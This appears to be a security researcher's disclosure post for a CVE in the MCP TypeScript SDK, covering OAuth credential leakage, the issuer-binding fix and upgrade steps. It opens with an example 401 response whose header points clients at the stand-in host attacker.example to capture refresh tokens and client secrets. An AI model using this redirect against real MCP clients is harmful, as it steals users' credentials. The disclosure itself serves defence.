CVE-2026-104850: The MCP TypeScript SDK Sent OAuth Credentials Wherever the Server Pointed
5 min read
#security #cve #mcp #oauth #disclosure
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer resource_metadata="https://attacker.example/prm"That one header was enough. An MCP client built on @modelcontextprotocol/sdk 1.12.0 to 1.30.1 would follow it to an authorization server the MCP server picked. Then it sent that server the refresh_token and client_secret saved from an earlier sign-in with a real one. No user interaction.
This is CVE-2026-104850 (GHSA-6qxp-vccf-f47h), High, CVSS 3.1 7.5. I reported it through GitHub private vulnerability reporting on 17 April 2026. Six other researchers reported it separately, and the maintainers consolidated all seven reports into one advisory. It is my second CVE in the MCP project, after CVE-2026-44429 on the MCP Registry.
What breaks
MCP authorization is OAuth with discovery. The client does not know the authorization server in advance; it learns it from the MCP server, in three steps:
- The MCP server answers
401with aWWW-Authenticateheader that names a Protected Resource Metadata document (resource_metadata, RFC 9728). - That document lists
authorization_servers. The client takes the first one. - The client fetches that server's metadata and uses its
token_endpointfor every token request.
In the affected versions every URL in that chain came from the MCP server. Nothing tied the client's stored credentials to the authorization server that issued them. The URL checks were syntactic: new URL() on the resource_metadata value, and a SafeUrlSchema that blocked javascript:, data: and vbscript: and nothing else.
So the token request went wherever step 3 said:
// src/client/auth.ts, @modelcontextprotocol/sdk 1.30.1
const tokenUrl = metadata?.token_endpoint
? new URL(metadata.token_endpoint)
: new URL('/token', authorizationServerUrl);What lands at the attacker's token_endpoint, per the advisory:
- the
refresh_tokenandclient_secretstored from an earlier sign-in - the
client_secretor signed assertion configured on a bundled provider (ClientCredentialsProvider,PrivateKeyJwtProviderand friends)
Who was exposed
An application was affected if two things held. It used the SDK's OAuth client over HTTP: an authProvider on a transport, the withOAuth() middleware, or direct calls to auth() or fetchToken(). And it could connect to an MCP server it did not fully trust while holding credentials for a real authorization server. MCP servers built with the SDK and stdio clients were not affected.
That second condition is the honest limit on the score. The attack needs a malicious or compromised MCP server. But "connect to servers you don't fully trust" is exactly what general-purpose MCP clients are built to do: agent hosts, IDE plugins, anything with an "add server" button.
The fix
Maintainer @maxisbey shipped the fix on 28 September 2026 in two PRs, released the same day: PR #2888 on the v1.x line as @modelcontextprotocol/sdk 1.31.0, and PR #2887 on 2.x as @modelcontextprotocol/client 2.2.0. On 2.x the binding first arrived with the MCP 2026-07-28 spec work in PR #2286, which is why 2.0.0 to 2.1.0 are affected only in specific cases; #2887 completed it.
The core change: credentials now remember who issued them. The client records the authorization server as issuer on saved tokens and client information. It refuses to send them anywhere else. If the server points at a different authorization server, the user signs in again or the call throws AuthorizationServerMismatchError. The MCP specification asks for the same thing in its client registration section: client credentials are keyed by issuer and never reused with another authorization server.
Two smaller changes in #2887 matter as much:
OAuthTokensSchemaandOAuthClientInformationSchemaused to stripissueron parse, so the binding was lost on every read from storage. They keep it now.- Creating the bundled providers without
expectedIssueris deprecated and warns.
Upgrading is not enough on its own
The advisory is direct about this, and it is the part most likely to be missed. After upgrading you still need to act if:
- You use a bundled provider. Pass
expectedIssuer: 'https://auth.example.com'. Without it, it still follows whichever authorization server the MCP server names. - You stored credentials before upgrading. Tokens saved by 1.x before 1.31.0 have no
issuer. Add one, or clear them so users sign in again. - You wrote your own
OAuthClientProvider. Save exactly whatsaveTokens()andsaveClientInformation()receive,issuerincluded.
And if an affected client may already have talked to an untrusted MCP server: rotate the client secret or signing key and revoke its tokens.
The fix also has stated limits. A brand-new interactive sign-in still goes to the authorization server the MCP server names, so only complete sign-ins for servers you trust. Direct calls to refreshAuthorization() and exchangeAuthorization(), and 2.x with skipIssuerMetadataValidation: true, are outside it.
Affected surface
- Packages:
@modelcontextprotocol/sdk>= 1.12.0, < 1.31.0 ·@modelcontextprotocol/client>= 2.0.0, < 2.2.0 - Patched: 1.31.0 · 2.2.0
- Fix: PR #2888 (v1.x, commit
51ad4f0) · PR #2887 (2.x, commitedd12e2) - CWE: CWE-345, CWE-522
Disclosure timeline
- 2026-04-17 — Report submitted via GitHub private vulnerability reporting
- 2026-09-28 — Fixes merged (PR #2888 for v1.x, PR #2887 for 2.x); 1.31.0 and 2.2.0 released
- 2026-09-30 — Repository advisory GHSA-6qxp-vccf-f47h published
- 2026-10-06 — Listed in the GitHub Advisory Database as CVE-2026-104850
Seven separate reports were consolidated into this advisory, credited to Aviral2642, AlexMelanFromRingo, Gal3m, Igfray, OriginalKazdov, lwebmedia and me. Thanks to @maxisbey for a fix that goes past the reported path and closes the storage round-trip too.
References
- Advisory: GHSA-6qxp-vccf-f47h
- Fixes: PR #2888 (v1.x), PR #2887 (2.x)
- MCP specification: Authorization, Client Registration
- RFC 9728 (Protected Resource Metadata), RFC 9207 (authorization server issuer identification)
More on building against MCP: the 64-character tool name limit.